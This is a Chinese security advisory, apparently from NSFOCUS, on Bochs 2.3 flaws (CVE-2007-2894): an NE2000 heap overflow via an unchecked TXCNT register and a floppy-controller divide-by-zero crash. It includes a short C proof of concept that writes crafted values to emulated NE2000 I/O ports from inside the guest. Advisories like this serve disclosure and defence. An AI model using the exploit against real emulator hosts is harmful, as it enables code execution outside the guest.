安全研究

安全漏洞
Bochs NE2000 RX帧堆溢出及软盘控制器拒绝服务漏洞

发布日期:2007-05-31
更新日期:2007-06-01

受影响系统:
Bochs Bochs 2.3
描述:
BUGTRAQ  ID: 24246
CVE(CAN) ID: CVE-2007-2894

Bochs是用C++编写的开源可移植IA-32(x86)PC模拟器。

Bochs模拟器的实现上存在多个漏洞,远程或本地攻击者可能利用此漏洞控制用户机器。

Bochs的模拟NE2000设备没有检查TXCNT寄存器中的值是否大于设备中可用的内存,这可能导致堆溢出,允许攻击者以Bochs进程的权限执行任意指令。但成功攻击要求攻击者有权限控制TXCNT寄存器。此外Bochs的模拟软盘控制器还可能将0做为除数,导致Bochs进程崩溃。

<*来源:Tavis Ormandy (taviso@gentoo.org
  
  链接:http://secunia.com/advisories/25470/
        http://taviso.decsystem.org/virtsec.pdf
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#include <sys/io.h>
int main(int argc, char **argv) {
iopl(3);
outw(0x5292, 0x24c);
outw(0xffff, 0x245);a
outw(0x1ffb, 0x24e);
outb(0x76, 0x241);
outb(0x7b, 0x240);
outw(0x79c4, 0x247);
outw(0x59e6, 0x240);
return 0;
}
a. TXCNT在此注入。

建议:
厂商补丁:

Bochs
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://bochs.sourceforge.net/

浏览次数:3223
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障